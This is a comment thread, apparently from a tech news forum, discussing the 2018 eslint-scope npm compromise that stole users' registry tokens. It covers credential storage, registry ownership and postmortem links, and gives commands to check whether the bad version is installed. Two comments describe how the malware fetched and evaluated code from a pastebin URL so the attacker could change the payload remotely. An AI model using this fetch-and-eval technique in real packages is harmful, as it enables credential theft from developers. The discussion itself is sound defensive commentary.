https://youtu.be/M3BM9TB-8yA?t=588

He has a very early attempt at breaking from compatibility with Node called "Deno". Here's the part in the video about his current thoughts on importing external modules under Deno:

https://youtu.be/M3BM9TB-8yA?t=1257

He has some other security proposals as well.

pedro_hab• 8 years ago

And he even mentions linters (in the first Deno slide) as untrusted utilities that should take advantage of the JS sandbox and not have access to network.

agmcleod2• 8 years ago

Why does this tie to the linux foundation?

How about running npm like an open source project instead?

In the end such a large service requires a fair bit of hardware & costs to work. While I would prefer there wasn't as much dependency on something a single company controls. The largeness of node & npm makes it quite the target.

caniszczyk• 8 years ago

exactly, this has nothing to do with the LF and everything to do with the NodeJS community being OK with a for-profit startup owning their registry... the registry should be community owned and funded similar to the way say the LF runs LetsEncrypt.org as a community resource

smsm42• 8 years ago

How being VC-backed or for-profit is related to anything? Sounds like knee-jerk reaction - somebody screwed up, they are VC-backed, which proves VCs are evil and profits are evil. Let's not add such noise.

brlewis• 8 years ago

Here's how I checked my own machine, though I was already confident I wouldn't be affected:

  find ~ -name eslint-scope -exec grep -H version '{}/package.json' \;

If you use yarn exclusively, this will also work:

  yarn cache list | grep eslint-scope-3.7.2

ethagnawl2• 8 years ago

Thanks for sharing this snippet. It looks like the "bad" version of eslist-scope found its way into the Heroku CLI. SMDH.

jessaustin3• 8 years ago

I always thought it was a little weird for credentials to be put into .npmrc, and this isn't the first time this has caused a problem. Lots of people host their dotfiles publicly, but if you do that with .npmrc you'll (eventually) get an admonishing email from github etc. It really conflicts with the (correct, again) Unix model of separating configuration data from ephemeral data. The creds should be placed in $XDG_CACHE_HOME/npm/ , a directory that already contains lots of ephemeral data for npm. Incidentally that directory and its subdirectories seem to be world-readable by default, which is also stupid.

AgentME2• 8 years ago

It's not obvious to me that credentials are ephemeral data rather than part of the configuration.

jessaustin3• 8 years ago

From TFA:

npm has revoked all access tokens issued before 2018-07-12 12:30 UTC.

If credentials were configuration, we'd be screwed now, because the data we have stored is no longer valid. Fortunately, all we have to do is this:

  $ npm adduser

Now the data we have stored is correct again! This is textbook ephemeral data. We can cache it, and that might save some time, but it really doesn't matter. We could flush cache every half hour and it wouldn't hurt a thing.

Another way to see that credentials aren't configuration is what I suggested above: we would never want to back up or publish them, so they are different from and belong in a different place than configuration that we definitely want to back up and often want to publish.

[EDIT:] If one had only considered this from a "12-factor" perspective, in which creds and config are both called config and are both stored in envvars, I could understand the confusion. Note however that the config we're talking about for npm is e.g. "init-author-email". That doesn't change from environment to environment, so it's more like what 12-factor would call code...

hzoo• 8 years ago

ESLint post: https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...

thephyber10• 8 years ago

NPM's status timeline [1] and Eslint.org's postmortem article[2].

edit: NPM had a recent blog article[3] about their progress towards codesigning modules.

[1] https://status.npmjs.org/incidents/dn7c1fgrr7ng

[2] https://eslint.org/blog/2018/07/postmortem-for-malicious-pac...

[3] https://blog.npmjs.org/post/172999548390/new-pgp-machinery

cremp2• 8 years ago

Said it before, and I'll say it again.

Why the flagnar do hardcore believers/users of Node insist that everything is perfect with their package management; let alone any of the bad programming practices that Node idolizes?

This is what... the 4th major incident in the last 6 months with Node and npm.

Anyone who tells me they use Node will instantly get put on their own sandbox and vlan. You just can't trust that the code they run is legit, even if they wrote it.

nodesocket• 8 years ago

Why go through the effort of evalin' the result of pastebin.com/raw/XLeVP82h? Why not just put the resulting code from pastebin directly into the suspicious file?

mygo2• 8 years ago

because this way they can change the code to be executed on the fly outside of npm

ESLint compromised, may have stolen your credentials

Related Stories